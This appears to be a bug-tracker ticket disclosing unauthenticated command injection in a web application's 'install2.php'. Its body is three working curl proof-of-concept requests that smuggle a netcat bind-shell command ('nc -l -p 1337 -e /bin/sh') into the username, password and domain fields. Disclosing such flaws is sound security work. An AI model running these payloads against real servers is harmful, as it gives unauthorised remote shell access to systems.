Menu

#3 Multiple remote unauthenticated command execution vulnerabilities in 'install2.php'

v1.0 (example)
open
nobody
security (1)
5
2013-10-17
2013-10-17
bcoles
No

The 'install2.php' file contains multiple remote unauthenticated command execution vulnerabilities, such as:

curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'createdb=yes&cpanel=yes&cpusername=\';nc -l -p 1337 -e /bin/sh #' 'http://webtester.example.com/webtester5/install2.php'

curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'createdb=yes&cpanel=yes&cppassword=\';nc -l -p 1337 -e /bin/sh #' 'http://webtester.example.com/webtester5/install2.php'

curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'createdb=yes&cpanel=yes&cpdomain=\';nc -l -p 1337 -e /bin/sh #' 'http://webtester.example.com/webtester5/install2.php'

Discussion


Log in to post a comment.

Want the latest updates on software, tech news, and AI?
Get latest updates about software, tech news, and AI from SourceForge directly in your inbox once a month.